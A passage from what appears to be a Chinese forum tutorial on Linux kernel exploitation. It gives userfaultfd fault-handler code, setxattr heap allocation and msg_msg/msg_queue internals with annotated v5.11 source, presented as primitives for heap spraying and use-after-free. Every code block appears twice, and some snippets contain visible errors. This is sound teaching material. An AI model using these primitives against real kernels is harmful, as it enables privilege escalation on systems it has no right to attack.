        printf("\033[1;31;40m[Loading handler userfaultfd]%016llx\033[0m\n");
        //-------------------------------------
 
 
 
        //判断是否正确打开
        if (nready == -1)
            errExit("poll");
        nread = read(uffd, &msg, sizeof(msg));
        if (nread == 0)
            errExit("EOF on userfaultfd!\n");
        if (nread == -1)
            errExit("read");
        if (msg.event != UFFD_EVENT_PAGEFAULT)
            errExit("Unexpected event on userfaultfd\n");
 
 
 
        //数据拷贝区域
        uffdio_copy.src = (unsigned long) page;
        uffdio_copy.dst = (unsigned long) msg.arg.pagefault.address &
                          ~(page_size - 1);
        uffdio_copy.len = page_size;
        uffdio_copy.mode = 0;
        uffdio_copy.copy = 0;
        if (ioctl(uffd, UFFDIO_COPY, &uffdio_copy) == -1)
            errExit("ioctl-UFFDIO_COPY");
        return NULL;
    }
}
 
void registerUserFaultFd(void * addr, unsigned long len, void (*handler)(void*))
{
    long uffd;
    struct uffdio_api uffdio_api;
    struct uffdio_register uffdio_register;
    int s;
 
/* Create and enable userfaultfd object */
    uffd = syscall(__NR_userfaultfd, O_CLOEXEC | O_NONBLOCK);
    if (uffd == -1)
        errExit("userfaultfd");
 
    uffdio_api.api = UFFD_API;
    uffdio_api.features = 0;
    if (ioctl(uffd, UFFDIO_API, &uffdio_api) == -1)
        errExit("ioctl-UFFDIO_API");
 
    uffdio_register.range.start = (unsigned long) addr;
    uffdio_register.range.len = len;
    uffdio_register.mode = UFFDIO_REGISTER_MODE_MISSING;
    if (ioctl(uffd, UFFDIO_REGISTER, &uffdio_register) == -1)
        errExit("ioctl-UFFDIO_REGISTER");
 
    s = pthread_create(&monitor_thread, NULL, handler, (void *) uffd);
    if (s != 0)
        errExit("pthread_create");
}
 
void errExit(char *msg)
{
    printf("\033[31m\033[1m[x] Error at: \033[0m%s\n", msg);
    exit(EXIT_FAILURE);
}
#include <sys/types.h>
#include <sys/xattr.h>
#include <stdio.h>
#include <linux/userfaultfd.h>
#include <pthread.h>
#include <errno.h>
#include <unistd.h>
#include <stdlib.h>
#include <fcntl.h>
#include <signal.h>
#include <poll.h>
#include <string.h>
#include <sys/mman.h>
#include <sys/syscall.h>
#include <sys/ioctl.h>
#include <sys/sem.h>
#include <sys/ipc.h>
#include <sys/shm.h>
#include <semaphore.h>
 
static char     *page = NULL;
static size_t   page_size;
static pthread_t monitor_thread;
 
void registerUserFaultFd(void * addr, unsigned long len, void (*handler)(void*));
void errExit(char *msg);
static void * test_thread(void *arg);
 
 
int main(int argc, char *argv[])
{
    char *uffd_buf_leak;
    page = malloc(0x1000);
    for(int i = 0 ; i < 0x20 ; i ++)
    {
        page[i] == "\x62";
    }
    page_size = sysconf(_SC_PAGE_SIZE);
 
    //申请一块保护内存,我们对该内存进行读写操作就会被userfaultfd给捕获,从而进入到test_thread函数中
    uffd_buf = (char*) mmap(NULL, page_size, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
    registerUserFaultFd(uffd_buf, page_size, test_thread);
    printf("\033[1;31;40m[Test:]%016llx\033[0m\n",*uffd_buf);
}
 
 
static void * test_thread(void *arg)
{
    struct uffd_msg msg;
    int fault_cnt = 0;
    long uffd;
 
    struct uffdio_copy uffdio_copy;
    ssize_t nread;
 
    uffd = (long) arg;
 
 
    for (;;)
    {
        struct pollfd pollfd;
        int nready;
        pollfd.fd = uffd;
        pollfd.events = POLLIN;
        nready = poll(&pollfd, 1, -1);
 
 
 
        //自定义代码区域----------------------
        printf("\033[1;31;40m[Loading handler userfaultfd]%016llx\033[0m\n");
        //-------------------------------------
 
 
 
        //判断是否正确打开
        if (nready == -1)
            errExit("poll");
        nread = read(uffd, &msg, sizeof(msg));
        if (nread == 0)
            errExit("EOF on userfaultfd!\n");
        if (nread == -1)
            errExit("read");
        if (msg.event != UFFD_EVENT_PAGEFAULT)
            errExit("Unexpected event on userfaultfd\n");
 
 
 
        //数据拷贝区域
        uffdio_copy.src = (unsigned long) page;
        uffdio_copy.dst = (unsigned long) msg.arg.pagefault.address &
                          ~(page_size - 1);
        uffdio_copy.len = page_size;
        uffdio_copy.mode = 0;
        uffdio_copy.copy = 0;
        if (ioctl(uffd, UFFDIO_COPY, &uffdio_copy) == -1)
            errExit("ioctl-UFFDIO_COPY");
        return NULL;
    }
}
 
void registerUserFaultFd(void * addr, unsigned long len, void (*handler)(void*))
{
    long uffd;
    struct uffdio_api uffdio_api;
    struct uffdio_register uffdio_register;
    int s;
 
/* Create and enable userfaultfd object */
    uffd = syscall(__NR_userfaultfd, O_CLOEXEC | O_NONBLOCK);
    if (uffd == -1)
        errExit("userfaultfd");
 
    uffdio_api.api = UFFD_API;
    uffdio_api.features = 0;
    if (ioctl(uffd, UFFDIO_API, &uffdio_api) == -1)
        errExit("ioctl-UFFDIO_API");
 
    uffdio_register.range.start = (unsigned long) addr;
    uffdio_register.range.len = len;
    uffdio_register.mode = UFFDIO_REGISTER_MODE_MISSING;
    if (ioctl(uffd, UFFDIO_REGISTER, &uffdio_register) == -1)
        errExit("ioctl-UFFDIO_REGISTER");
 
    s = pthread_create(&monitor_thread, NULL, handler, (void *) uffd);
    if (s != 0)
        errExit("pthread_create");
}
 
void errExit(char *msg)
{
    printf("\033[31m\033[1m[x] Error at: \033[0m%s\n", msg);
    exit(EXIT_FAILURE);
}
 
 
SYS_setxattr()->path_setxattr()->setxattr()
SYS_setxattr()->path_setxattr()->setxattr()
//fs/xattr.c
static long
setxattr(struct user_namespace *mnt_userns, struct dentry *d,
     const char __user *name, const void __user *value, size_t size,
     int flags)
{
    int error;
    void *kvalue = NULL;
    char kname[XATTR_NAME_MAX + 1];
 
    if (flags & ~(XATTR_CREATE|XATTR_REPLACE))
        return -EINVAL;
 
    error = strncpy_from_user(kname, name, sizeof(kname));
    if (error == 0 || error == sizeof(kname))
        error = -ERANGE;
    if (error < 0)
        return error;
 
    if (size) {
        if (size > XATTR_SIZE_MAX)
            return -E2BIG;
        //申请chunk,基本相当于kmalloc函数,size可控
        kvalue = kvmalloc(size, GFP_KERNEL);
        if (!kvalue)
            return -ENOMEM;
        //从value拷贝内容到kvalue,value可控
        if (copy_from_user(kvalue, value, size)) {
            error = -EFAULT;
            goto out;
        }
        if ((strcmp(kname, XATTR_NAME_POSIX_ACL_ACCESS) == 0) ||
            (strcmp(kname, XATTR_NAME_POSIX_ACL_DEFAULT) == 0))
            posix_acl_fix_xattr_from_user(mnt_userns, kvalue, size);
    }
 
    error = vfs_setxattr(mnt_userns, d, kname, kvalue, size, flags);
out:
    //释放chunk,基本等于kfree函数
    kvfree(kvalue);
 
    return error;
}
//fs/xattr.c
static long
setxattr(struct user_namespace *mnt_userns, struct dentry *d,
     const char __user *name, const void __user *value, size_t size,
     int flags)
{
    int error;
    void *kvalue = NULL;
    char kname[XATTR_NAME_MAX + 1];
 
    if (flags & ~(XATTR_CREATE|XATTR_REPLACE))
        return -EINVAL;
 
    error = strncpy_from_user(kname, name, sizeof(kname));
    if (error == 0 || error == sizeof(kname))
        error = -ERANGE;
    if (error < 0)
        return error;
 
    if (size) {
        if (size > XATTR_SIZE_MAX)
            return -E2BIG;
        //申请chunk,基本相当于kmalloc函数,size可控
        kvalue = kvmalloc(size, GFP_KERNEL);
        if (!kvalue)
            return -ENOMEM;
        //从value拷贝内容到kvalue,value可控
        if (copy_from_user(kvalue, value, size)) {
            error = -EFAULT;
            goto out;
        }
        if ((strcmp(kname, XATTR_NAME_POSIX_ACL_ACCESS) == 0) ||
            (strcmp(kname, XATTR_NAME_POSIX_ACL_DEFAULT) == 0))
            posix_acl_fix_xattr_from_user(mnt_userns, kvalue, size);
    }
 
    error = vfs_setxattr(mnt_userns, d, kname, kvalue, size, flags);
out:
    //释放chunk,基本等于kfree函数
    kvfree(kvalue);
 
    return error;
}
 
 
setxattr("/tmp/ufdExp", "PIG-007", &buf,0x100,0);
setxattr("/tmp/ufdExp", "PIG-007", &buf,0x100,0);
 
 
 
 
 
 
//key要么使用ftok()算法生成,要么指定为IPC_PRIVATE
//代表着该消息队列在内核中唯一的标识符
//使用IPC_PRIVATE会生成全新的消息队列IPC对象
int32_t make_queue(key_t key, int msg_flag)
{
    int32_t result;
    if ((result = msgget(key, msg_flag)) == -1)
    {
        perror("msgget failure");
        exit(-1);
    }
    return result;
}
 
int queue_id = make_queue(IPC_PRIVATE, 0666 | IPC_CREAT);
//key要么使用ftok()算法生成,要么指定为IPC_PRIVATE
//代表着该消息队列在内核中唯一的标识符
//使用IPC_PRIVATE会生成全新的消息队列IPC对象
int32_t make_queue(key_t key, int msg_flag)
{
    int32_t result;
    if ((result = msgget(key, msg_flag)) == -1)
    {
        perror("msgget failure");
        exit(-1);
    }
    return result;
}
 
int queue_id = make_queue(IPC_PRIVATE, 0666 | IPC_CREAT);
typedef struct
{
        long mtype;
        char mtext[1];
}msgp;
 
//msg_buf实际上为msgp,里面包含mtype,这个mtype在后面的堆块构造中很有用
void send_msg(int msg_queue_id, void *msg_buf, size_t msg_size, int msg_flag)
{
    if (msgsnd(msg_queue_id, msg_buf, msg_size, msg_flag) == -1)
    {
        perror("msgsend failure");
        exit(-1);
    }
    return;
}
 
char queue_send_buf[0x2000];
m_ts_size = 0x400-0x30;//任意指定
msg *message = (msg *)queue_send_buf;
message->mtype = 0;
send_msg(queue_id, message, m_ts_size, 0);
typedef struct
{
        long mtype;
        char mtext[1];
}msgp;
 
//msg_buf实际上为msgp,里面包含mtype,这个mtype在后面的堆块构造中很有用
void send_msg(int msg_queue_id, void *msg_buf, size_t msg_size, int msg_flag)
{
    if (msgsnd(msg_queue_id, msg_buf, msg_size, msg_flag) == -1)
    {
        perror("msgsend failure");
        exit(-1);
    }
    return;
}
 
char queue_send_buf[0x2000];
m_ts_size = 0x400-0x30;//任意指定
msg *message = (msg *)queue_send_buf;
message->mtype = 0;
send_msg(queue_id, message, m_ts_size, 0);
void get_msg(int msg_queue_id, void *msg_buf, size_t msg_size, long msgtyp, int msg_flag)
{
    if (msgrcv(msg_queue_id, msg_buf, msg_size, msgtyp, msg_flag) < 0)
    {
        perror("msgrcv");
        exit(-1);
    }
    return;
}
 
char queue_recv_buf[0x2000];
m_ts_size = 0x400-0x30;//任意指定
get_msg(queue_id, queue_recv_buf, m_ts_size, 0, IPC_NOWAIT | MSG_COPY);
void get_msg(int msg_queue_id, void *msg_buf, size_t msg_size, long msgtyp, int msg_flag)
{
    if (msgrcv(msg_queue_id, msg_buf, msg_size, msgtyp, msg_flag) < 0)
    {
        perror("msgrcv");
        exit(-1);
    }
    return;
}
 
char queue_recv_buf[0x2000];
m_ts_size = 0x400-0x30;//任意指定
get_msg(queue_id, queue_recv_buf, m_ts_size, 0, IPC_NOWAIT | MSG_COPY);
 
 
 
//v5.11 /ipc/msg.c do_msgrcv函数中
if ((bufsz < msg->m_ts) && !(msgflg & MSG_NOERROR)) {
    msg = ERR_PTR(-E2BIG);
    goto out_unlock0;
}
//v5.11 /ipc/msg.c do_msgrcv函数中
if ((bufsz < msg->m_ts) && !(msgflg & MSG_NOERROR)) {
    msg = ERR_PTR(-E2BIG);
    goto out_unlock0;
}
//其中IPC_RMID这个cmd命令代表释放掉该消息队列的所有消息,各种内存结构体等
if(msgctl(queue_id),IPC_RMID,NULL)==-1)
{
    perror("msgctl");
    exit(-1);
}
//其中IPC_RMID这个cmd命令代表释放掉该消息队列的所有消息,各种内存结构体等
if(msgctl(queue_id),IPC_RMID,NULL)==-1)
{
    perror("msgctl");
    exit(-1);
}
 
typedef struct
{
        long mtype;
        char mtext[1];
}msgp;
 
int32_t make_queue(key_t key, int msg_flag)
{
    int32_t result;
    if ((result = msgget(key, msg_flag)) == -1)
    {
        perror("msgget failure");
        exit(-1);
    }
    return result;
}
 
 
 
void get_msg(int msg_queue_id, void *msg_buf, size_t msg_size, long msgtyp, int msg_flag)
{
    if (msgrcv(msg_queue_id, msg_buf, msg_size, msgtyp, msg_flag) < 0)
    {
        perror("msgrcv");
        exit(-1);
    }
    return;
}
 
void send_msg(int msg_queue_id, void *msg_buf, size_t msg_size, int msg_flag)
{
    if (msgsnd(msg_queue_id, msg_buf, msg_size, msg_flag) == -1)
    {
        perror("msgsend failure");
        exit(-1);
    }
    return;
}
 
 
int main()
{
    int queue_id, m_ts_size;
    char queue_recv_buf[0x2000];
    char queue_send_buf[0x2000];
 
    m_ts_size = 0x400-0x30;
    msgp *message = (msgp *)queue_send_buf;
    message->mtype = 0;
 
    memset(message->mtext,'\xaa', m_ts_size);
    memset(queue_recv_buf, '\xbb', sizeof(queue_recv_buf));
 
    queue_id = make_queue(IPC_PRIVATE, 0666 | IPC_CREAT);
    send_msg(queue_id, message, m_ts_size, 0);
    get_msg(queue_id, queue_recv_buf, m_ts_size, 0, IPC_NOWAIT | MSG_COPY);
 
    return 0;
}
typedef struct
{
        long mtype;
        char mtext[1];
}msgp;
 
int32_t make_queue(key_t key, int msg_flag)
{
    int32_t result;
    if ((result = msgget(key, msg_flag)) == -1)
    {
        perror("msgget failure");
        exit(-1);
    }
    return result;
}
 
 
 
void get_msg(int msg_queue_id, void *msg_buf, size_t msg_size, long msgtyp, int msg_flag)
{
    if (msgrcv(msg_queue_id, msg_buf, msg_size, msgtyp, msg_flag) < 0)
    {
        perror("msgrcv");
        exit(-1);
    }
    return;
}
 
void send_msg(int msg_queue_id, void *msg_buf, size_t msg_size, int msg_flag)
{
    if (msgsnd(msg_queue_id, msg_buf, msg_size, msg_flag) == -1)
    {
        perror("msgsend failure");
        exit(-1);
    }
    return;
}
 
 
int main()
{
    int queue_id, m_ts_size;
    char queue_recv_buf[0x2000];
    char queue_send_buf[0x2000];
 
    m_ts_size = 0x400-0x30;
    msgp *message = (msgp *)queue_send_buf;
    message->mtype = 0;
 
    memset(message->mtext,'\xaa', m_ts_size);
    memset(queue_recv_buf, '\xbb', sizeof(queue_recv_buf));
 
    queue_id = make_queue(IPC_PRIVATE, 0666 | IPC_CREAT);
    send_msg(queue_id, message, m_ts_size, 0);
    get_msg(queue_id, queue_recv_buf, m_ts_size, 0, IPC_NOWAIT | MSG_COPY);
 
    return 0;
}
msgget(key,msg_flag)->ksys_msgget()->ipcget()->ipcget_new()->newque()
msgget(key,msg_flag)->ksys_msgget()->ipcget()->ipcget_new()->newque()
//v5.11 /ipc/msg.c
static int newque(struct ipc_namespace *ns, struct ipc_params *params)
{
    struct msg_queue *msq;
    int retval;
    key_t key = params->key;
    int msgflg = params->flg;
 
    //这个才是实际申请的堆块内存
    msq = kvmalloc(sizeof(*msq), GFP_KERNEL);
    if (unlikely(!msq))
        return -ENOMEM;
 
    msq->q_perm.mode = msgflg & S_IRWXUGO;
    msq->q_perm.key = key;
 
    msq->q_perm.security = NULL;
    //进行相关注册
    retval = security_msg_queue_alloc(&msq->q_perm);
    if (retval) {
        kvfree(msq);
        return retval;
    }
 
    //初始化
    msq->q_stime = msq->q_rtime = 0;
    msq->q_ctime = ktime_get_real_seconds();
    msq->q_cbytes = msq->q_qnum = 0;
    msq->q_qbytes = ns->msg_ctlmnb;
    msq->q_lspid = msq->q_lrpid = NULL;
    INIT_LIST_HEAD(&msq->q_messages);
    INIT_LIST_HEAD(&msq->q_receivers);
    INIT_LIST_HEAD(&msq->q_senders);
 
    //下面一堆看不懂在干啥
    /* ipc_addid() locks msq upon success. */
    retval = ipc_addid(&msg_ids(ns), &msq->q_perm, ns->msg_ctlmni);
    if (retval < 0) {
        ipc_rcu_putref(&msq->q_perm, msg_rcu_free);
        return retval;
    }
    ipc_unlock_object(&msq->q_perm);
    rcu_read_unlock();
 
    return msq->q_perm.id;
}
//v5.11 /ipc/msg.c
static int newque(struct ipc_namespace *ns, struct ipc_params *params)
{
    struct msg_queue *msq;
    int retval;
    key_t key = params->key;
    int msgflg = params->flg;
 
    //这个才是实际申请的堆块内存
    msq = kvmalloc(sizeof(*msq), GFP_KERNEL);
    if (unlikely(!msq))
        return -ENOMEM;
 
    msq->q_perm.mode = msgflg & S_IRWXUGO;
    msq->q_perm.key = key;
 
    msq->q_perm.security = NULL;
    //进行相关注册
    retval = security_msg_queue_alloc(&msq->q_perm);
    if (retval) {
        kvfree(msq);
        return retval;
    }
 
    //初始化
    msq->q_stime = msq->q_rtime = 0;
    msq->q_ctime = ktime_get_real_seconds();
    msq->q_cbytes = msq->q_qnum = 0;
    msq->q_qbytes = ns->msg_ctlmnb;
    msq->q_lspid = msq->q_lrpid = NULL;
    INIT_LIST_HEAD(&msq->q_messages);
    INIT_LIST_HEAD(&msq->q_receivers);
    INIT_LIST_HEAD(&msq->q_senders);
 
    //下面一堆看不懂在干啥
    /* ipc_addid() locks msq upon success. */
    retval = ipc_addid(&msg_ids(ns), &msq->q_perm, ns->msg_ctlmni);
    if (retval < 0) {
        ipc_rcu_putref(&msq->q_perm, msg_rcu_free);
        return retval;
    }
    ipc_unlock_object(&msq->q_perm);
    rcu_read_unlock();
 
    return msq->q_perm.id;
}
//v5.11 /ipc/msg.c
struct msg_queue {
    //这些为一些相关信息
    struct kern_ipc_perm q_perm;
    time64_t q_stime;        /* last msgsnd time */
    time64_t q_rtime;        /* last msgrcv time */
    time64_t q_ctime;        /* last change time */
    unsigned long q_cbytes;        /* current number of bytes on queue */
    unsigned long q_qnum;        /* number of messages in queue */
    unsigned long q_qbytes;        /* max number of bytes on queue */
    struct pid *q_lspid;        /* pid of last msgsnd */
    struct pid *q_lrpid;        /* last receive pid */
 
    //存放msg_msg相关指针next、prev,比较重要,通常拿来溢出制造UAF
    //和该消息队列里的所有消息组成双向循环链表
    struct list_head q_messages;
    struct list_head q_receivers;
    struct list_head q_senders;
} __randomize_layout;
//v5.11 /ipc/msg.c
struct msg_queue {
    //这些为一些相关信息
    struct kern_ipc_perm q_perm;
    time64_t q_stime;        /* last msgsnd time */
    time64_t q_rtime;        /* last msgrcv time */
    time64_t q_ctime;        /* last change time */
    unsigned long q_cbytes;        /* current number of bytes on queue */
    unsigned long q_qnum;        /* number of messages in queue */
    unsigned long q_qbytes;        /* max number of bytes on queue */
    struct pid *q_lspid;        /* pid of last msgsnd */
    struct pid *q_lrpid;        /* last receive pid */
 
    //存放msg_msg相关指针next、prev,比较重要,通常拿来溢出制造UAF
    //和该消息队列里的所有消息组成双向循环链表
    struct list_head q_messages;
    struct list_head q_receivers;
    struct list_head q_senders;
} __randomize_layout;
msgsnd(msg_queue_id, msg_buf, msg_size, msg_flag)->do_msgsnd()->load_msg()->alloc_msg()
msgsnd(msg_queue_id, msg_buf, msg_size, msg_flag)->do_msgsnd()->load_msg()->alloc_msg()
//v5.11 /ipc/msgutil.c
static struct msg_msg *alloc_msg(size_t len)
{
    struct msg_msg *msg;
    struct msg_msgseg **pseg;
    size_t alen;
 
    //最大发送DATALEN_MSG长度的消息
    //#define DATALEN_MSG    ((size_t)PAGE_SIZE-sizeof(struct msg_msg))
    //这里的PAGE_SIZE为0x400,即最多kmalloc-
    alen = min(len, DATALEN_MSG);
    //使用正常
    msg = kmalloc(sizeof(*msg) + alen, GFP_KERNEL_ACCOUNT);
    if (msg == NULL)
        return NULL;
 
    //如果传入消息长度超过0x400-0x30,就再进行申请msg_msgseg。
    //使用kmalloc申请,标志为GFP_KERNEL_ACCOUNT。
    //最大也为0x400,也属于kmalloc-1024
    //还有再长的消息,就再申请msg_msgseg
    msg->next = NULL;
    msg->security = NULL;
    len -= alen;
    pseg = &msg->next;
    while (len > 0) {
        struct msg_msgseg *seg;
        //不知道干啥的
        cond_resched();
 
        alen = min(len, DATALEN_SEG);
        seg = kmalloc(sizeof(*seg) + alen, GFP_KERNEL_ACCOUNT);
        //申请完之后,将msg_msgseg放到msg->next这个单向链表上
        if (seg == NULL)
            goto out_err;
        *pseg = seg;
        seg->next = NULL;
        pseg = &seg->next;
        len -= alen;
    }
 
    return msg;
 
out_err:
    free_msg(msg);
    return NULL;
}
//v5.11 /ipc/msgutil.c
static struct msg_msg *alloc_msg(size_t len)
{
    struct msg_msg *msg;
    struct msg_msgseg **pseg;
    size_t alen;
 
    //最大发送DATALEN_MSG长度的消息
    //#define DATALEN_MSG    ((size_t)PAGE_SIZE-sizeof(struct msg_msg))
    //这里的PAGE_SIZE为0x400,即最多kmalloc-
    alen = min(len, DATALEN_MSG);
    //使用正常
    msg = kmalloc(sizeof(*msg) + alen, GFP_KERNEL_ACCOUNT);
    if (msg == NULL)
        return NULL;
 
    //如果传入消息长度超过0x400-0x30,就再进行申请msg_msgseg。
    //使用kmalloc申请,标志为GFP_KERNEL_ACCOUNT。
    //最大也为0x400,也属于kmalloc-1024
    //还有再长的消息,就再申请msg_msgseg
    msg->next = NULL;
    msg->security = NULL;
    len -= alen;
    pseg = &msg->next;
    while (len > 0) {
        struct msg_msgseg *seg;
        //不知道干啥的
        cond_resched();
 
        alen = min(len, DATALEN_SEG);
        seg = kmalloc(sizeof(*seg) + alen, GFP_KERNEL_ACCOUNT);
        //申请完之后,将msg_msgseg放到msg->next这个单向链表上
        if (seg == NULL)
            goto out_err;
        *pseg = seg;
        seg->next = NULL;
        pseg = &seg->next;
        len -= alen;
    }
 
    return msg;
 
out_err:
    free_msg(msg);
    return NULL;
}
//v5.11 /include/linux/msg.h
struct msg_msg {
    struct list_head m_list;//与msg_queue或者其他的msg_msg组成双向循环链表
    long m_type;
    size_t m_ts;        /* message text size */
    struct msg_msgseg *next;//单向链表,指向该条信息后面的msg_msgseg
    void *security;
    /* the actual message follows immediately */
};
//v5.11 /include/linux/msg.h
struct msg_msg {
    struct list_head m_list;//与msg_queue或者其他的msg_msg组成双向循环链表
    long m_type;
    size_t m_ts;        /* message text size */
    struct msg_msgseg *next;//单向链表,指向该条信息后面的msg_msgseg
    void *security;
    /* the actual message follows immediately */
};
//v5.11 /ipc/msgutil.c
struct msg_msgseg {
    struct msg_msgseg *next;
    /* the next part of the message follows immediately */
};
//v5.11 /ipc/msgutil.c
struct msg_msgseg {
    struct msg_msgseg *next;
    /* the next part of the message follows immediately */
};
 
struct msg_msg *load_msg(const void __user *src, size_t len)
{
    struct msg_msg *msg;
    struct msg_msgseg *seg;
    int err = -EFAULT;
    size_t alen;
 
    msg = alloc_msg(len);
    if (msg == NULL)
        return ERR_PTR(-ENOMEM);
 
    //先复制进msg_msg中存放消息的部分
    alen = min(len, DATALEN_MSG);
    if (copy_from_user(msg + 1, src, alen))
        goto out_err;
 
    //遍历msg_msg下的msg_msgseg,逐个存放数据进去
    for (seg = msg->next; seg != NULL; seg = seg->next) {
        len -= alen;
        src = (char __user *)src + alen;
        alen = min(len, DATALEN_SEG);
        if (copy_from_user(seg + 1, src, alen))
            goto out_err;
    }
 
    err = security_msg_msg_alloc(msg);
    if (err)
        goto out_err;
 
    return msg;
 
out_err:
    free_msg(msg);
    return ERR_PTR(err);
}
struct msg_msg *load_msg(const void __user *src, size_t len)
{
    struct msg_msg *msg;
    struct msg_msgseg *seg;
    int err = -EFAULT;
    size_t alen;
 
    msg = alloc_msg(len);
    if (msg == NULL)
        return ERR_PTR(-ENOMEM);
 
    //先复制进msg_msg中存放消息的部分
    alen = min(len, DATALEN_MSG);
    if (copy_from_user(msg + 1, src, alen))
        goto out_err;
 
    //遍历msg_msg下的msg_msgseg,逐个存放数据进去
    for (seg = msg->next; seg != NULL; seg = seg->next) {
        len -= alen;
        src = (char __user *)src + alen;
        alen = min(len, DATALEN_SEG);
        if (copy_from_user(seg + 1, src, alen))
            goto out_err;
    }
 
    err = security_msg_msg_alloc(msg);
    if (err)
        goto out_err;
 
    return msg;
 
out_err:
    free_msg(msg);
    return ERR_PTR(err);
}
msgrcv(msg_queue_id, msg_buf, msg_size, msgtyp, msg_flag)->SYS_msgrcv()->ksys_msgrcv()->do_msgrcv()->do_msg_fill()->store_msg()
msgrcv(msg_queue_id, msg_buf, msg_size, msgtyp, msg_flag)->SYS_msgrcv()->ksys_msgrcv()->do_msgrcv()->do_msg_fill()->store_msg()
static long do_msgrcv(int msqid, void __user *buf, size_t bufsz, long msgtyp, int msgflg,
                      long (*msg_handler)(void __user *, struct msg_msg *, size_t))
{
    int mode;
    struct msg_queue *msq;
    struct ipc_namespace *ns;
    struct msg_msg *msg, *copy = NULL;
    DEFINE_WAKE_Q(wake_q);
    //....
    if (msqid < 0 || (long) bufsz < 0)
        return -EINVAL;
    //设置了MSG_COPY标志位就会准备一个msg_msg的副本copy,通常用来防止unlink
    if (msgflg & MSG_COPY) {
        //从这里可以看出,同样也需要设置IPC_NOWAIT标志位才不会出错
        if ((msgflg & MSG_EXCEPT) || !(msgflg & IPC_NOWAIT))
            return -EINVAL;
        //这个prepare_copy()函数内部调用了load_msg()函数来创建一个新的msg_msg/msg_msgseg
        //传入的size参数为bufsz,就用户空间实际需要消息的长度,那么申请的堆块长度就可变了
        //不一定是这条消息的长度,而是由我们直接控制,虽然最后也会释放掉
        copy = prepare_copy(buf, min_t(size_t, bufsz, ns->msg_ctlmax));
        /*
        static inline struct msg_msg *prepare_copy(void __user *buf, size_t bufsz)
        {
            struct msg_msg *copy;
 
            copy = load_msg(buf, bufsz);
            if (!IS_ERR(copy))
                copy->m_ts = bufsz;
            return copy;
        }
        */
        if (IS_ERR(copy))
            return PTR_ERR(copy);
    }
    //这样就不会将msg_msg从msg_queue消息队列中进行Unlink摘除
    //只是释放堆块,在后续的代码中有显示
    //......
    //开始从msg_queue中寻找合适的msg_msg
    for (;;) {
        //.....
        msg = find_msg(msq, &msgtyp, mode);
        if (!IS_ERR(msg)) {
            /*
             * Found a suitable message.
             * Unlink it from the queue.
             */
            //最好设置MSG_NOERROR标志位,这样请求获取消息长度小于m_ts程序也不会退出了
            if ((bufsz < msg->m_ts) && !(msgflg & MSG_NOERROR)) {
                msg = ERR_PTR(-E2BIG);
                goto out_unlock0;
            }
            /*
             * If we are copying, then do not unlink message and do
             * not update queue parameters.
             */
            //设置了MSG_COPY标志位就会将msg数据复制给copy,然后将copy赋给msg
            if (msgflg & MSG_COPY) {
                //这个copy_msg()函数就是之前提到的在汇编层面就很奇怪
                msg = copy_msg(msg, copy);
                goto out_unlock0;
            }
 
            //下面是将msg_msg从和msg_queue组成的双向循环链表中unlink出来的部分
            list_del(&msg->m_list);
            msq->q_qnum--;
            msq->q_rtime = ktime_get_real_seconds();
            ipc_update_pid(&msq->q_lrpid, task_tgid(current));
            msq->q_cbytes -= msg->m_ts;
            atomic_sub(msg->m_ts, &ns->msg_bytes);
            atomic_dec(&ns->msg_hdrs);
            ss_wakeup(msq, &wake_q, false);
 
            goto out_unlock0;
        }
        //....
    }
 
out_unlock0:
    ipc_unlock_object(&msq->q_perm);
    wake_up_q(&wake_q);
out_unlock1:
    rcu_read_unlock();
    //如果存在copy副本,那么就free掉copy副本,然后返回,而不会free掉原本的msg堆块
    if (IS_ERR(msg)) {
        free_copy(copy);
        return PTR_ERR(msg);
    }
    //这个msg_handler函数指针即为传入的do_msg_fill()函数,从里面进行相关的数据复制
    bufsz = msg_handler(buf, msg, bufsz);
    //最后在这里进行相关堆块的释放
    free_msg(msg);
 
    return bufsz;
}
static long do_msgrcv(int msqid, void __user *buf, size_t bufsz, long msgtyp, int msgflg,
                      long (*msg_handler)(void __user *, struct msg_msg *, size_t))
{
    int mode;
    struct msg_queue *msq;
    struct ipc_namespace *ns;
    struct msg_msg *msg, *copy = NULL;
    DEFINE_WAKE_Q(wake_q);
    //....
    if (msqid < 0 || (long) bufsz < 0)
        return -EINVAL;
    //设置了MSG_COPY标志位就会准备一个msg_msg的副本copy,通常用来防止unlink
    if (msgflg & MSG_COPY) {
        //从这里可以看出,同样也需要设置IPC_NOWAIT标志位才不会出错
        if ((msgflg & MSG_EXCEPT) || !(msgflg & IPC_NOWAIT))
            return -EINVAL;
        //这个prepare_copy()函数内部调用了load_msg()函数来创建一个新的msg_msg/msg_msgseg
        //传入的size参数为bufsz,就用户空间实际需要消息的长度,那么申请的堆块长度就可变了
        //不一定是这条消息的长度,而是由我们直接控制,虽然最后也会释放掉
        copy = prepare_copy(buf, min_t(size_t, bufsz, ns->msg_ctlmax));
        /*
        static inline struct msg_msg *prepare_copy(void __user *buf, size_t bufsz)
        {
            struct msg_msg *copy;
 
            copy = load_msg(buf, bufsz);
            if (!IS_ERR(copy))
                copy->m_ts = bufsz;
            return copy;
        }
        */
        if (IS_ERR(copy))
            return PTR_ERR(copy);
    }
    //这样就不会将msg_msg从msg_queue消息队列中进行Unlink摘除
    //只是释放堆块,在后续的代码中有显示
    //......
    //开始从msg_queue中寻找合适的msg_msg
    for (;;) {
        //.....
        msg = find_msg(msq, &msgtyp, mode);
        if (!IS_ERR(msg)) {
            /*
             * Found a suitable message.
             * Unlink it from the queue.
             */
            //最好设置MSG_NOERROR标志位,这样请求获取消息长度小于m_ts程序也不会退出了
            if ((bufsz < msg->m_ts) && !(msgflg & MSG_NOERROR)) {
                msg = ERR_PTR(-E2BIG);
                goto out_unlock0;
            }
            /*
             * If we are copying, then do not unlink message and do
             * not update queue parameters.
             */
            //设置了MSG_COPY标志位就会将msg数据复制给copy,然后将copy赋给msg
            if (msgflg & MSG_COPY) {
                //这个copy_msg()函数就是之前提到的在汇编层面就很奇怪
                msg = copy_msg(msg, copy);
                goto out_unlock0;
            }
 

[培训]内核驱动高级班,冲击BAT一流互联网大厂工作,每周日13:00-18:00直播授课

最后于 2022-5-12 17:08 被PIG-007编辑 ,原因: 修改一下错误,完善总结
收藏
免费 5
支持
分享
最新回复 (0)
游客
登录 | 注册 方可回帖
返回
//